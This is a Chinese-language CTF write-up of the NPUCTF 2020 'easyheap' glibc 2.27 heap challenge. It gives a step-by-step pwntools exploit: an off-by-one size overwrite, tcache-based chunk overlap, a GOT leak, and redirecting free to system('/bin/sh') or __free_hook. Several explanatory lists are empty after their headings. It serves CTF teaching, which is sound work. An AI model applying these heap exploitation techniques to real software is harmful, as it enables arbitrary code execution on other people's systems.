这道来自NPUCTF 2020的easyheap题目,是很多CTF选手接触glibc 2.27堆利用的第一道门槛题。与之前常见的glibc 2.23环境不同,2.27版本引入了tcache机制,这使得堆块的分配和释放行为发生了显著变化。我们先从程序的基本情况开始分析。
用checksec查看程序保护情况:
code复制Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键点在于:
这种保护组合为我们提供了多种攻击可能性,特别是通过修改GOT表来实现控制流劫持。
使用IDA反编译后,可以看到这是一个典型的菜单题,提供以下功能:
Create函数的逻辑值得仔细研究:
这种结构在内存中的布局大致如下:
code复制+-------------------+ +-------------------+
| 元数据chunk(0x10) | --> | 用户chunk(0x18/0x38) |
+-------------------+ +-------------------+
Edit函数中存在一个典型的off-by-one漏洞:
c复制read_input(*(heaparray + idx) + 8, size + 1); // 多读1个字节
这允许我们溢出1个字节到相邻的chunk,可以修改下一个chunk的size字段。这是后续利用的关键。
通过Edit函数的off-by-one,我们可以将相邻chunk的size从0x21修改为0x41。具体步骤:
修改size后,释放第二个chunk:
接着分配一个0x38的chunk:
通过堆重叠,我们可以修改元数据chunk中的指针,使其指向GOT表:
根据RELRO保护情况,有两种攻击方式:
首先建立基本的堆布局:
python复制add(0x18, b'chunk0') # 索引0
add(0x18, b'chunk1') # 索引1
add(0x18, b'/bin/sh\x00') # 索引2,用于后续触发shell
内存状态:
code复制索引0: 元数据(0x10) -> 用户chunk(0x20)
索引1: 元数据(0x10) -> 用户chunk(0x20)
索引2: 元数据(0x10) -> 用户chunk(0x20)
通过编辑索引0的chunk来修改索引1的size:
python复制payload = b'A'*0x18 + b'\x41' # 修改下一个chunk的size为0x41
edit(0, payload)
现在索引1的元数据认为它的用户chunk大小是0x40(实际是0x20)。
python复制free(1) # 释放索引1,进入tcache的0x40bin
# 重新分配0x38的chunk,会使用刚才释放的"0x40"chunk
add(0x38, b'overlap') # 新的索引1
此时内存布局:
code复制索引1的用户chunk(实际大小0x40):
[前0x20字节是我们可控的数据]
[后0x20字节覆盖了原来的元数据chunk]
python复制# 构造伪造的元数据结构
payload = b'A'*0x18 + p64(0x21) + p64(0x40) + p64(elf.got['free'])
edit(1, payload)
# 现在show(1)实际上会打印free@got的内容
show(1)
通过解析输出,我们可以泄露free的实际地址,进而计算libc基址:
python复制leak = u64(r.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.symbols['free']
python复制edit(1, p64(libc.symbols['system']))
free(2) # 此时实际调用system("/bin/sh")
python复制free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
# 构造tcache链
free(2)
free(0)
# 重新分配并构造虚假的tcache链
add(0x38, b'prepare')
add(0x38, b'/bin/sh\x00')
# 将free_hook放入tcache链
payload = b'A'*0x18 + p64(0x21) + p64(free_hook)
edit(0, payload)
# 分配到free_hook并写入system
add(0x18, p64(system_addr))
# 触发
free(2)
glibc 2.27引入的tcache(线程本地缓存)具有以下特点:
本例中的off-by-one之所以能成功利用,是因为:
tcache double free的利用条件:
利用方式:
这道题很好地展示了:
在实际CTF比赛中,理解内存布局和精心构造堆状态是关键。建议通过gdb配合pwndbg插件逐步调试,观察每一步操作后的堆状态变化。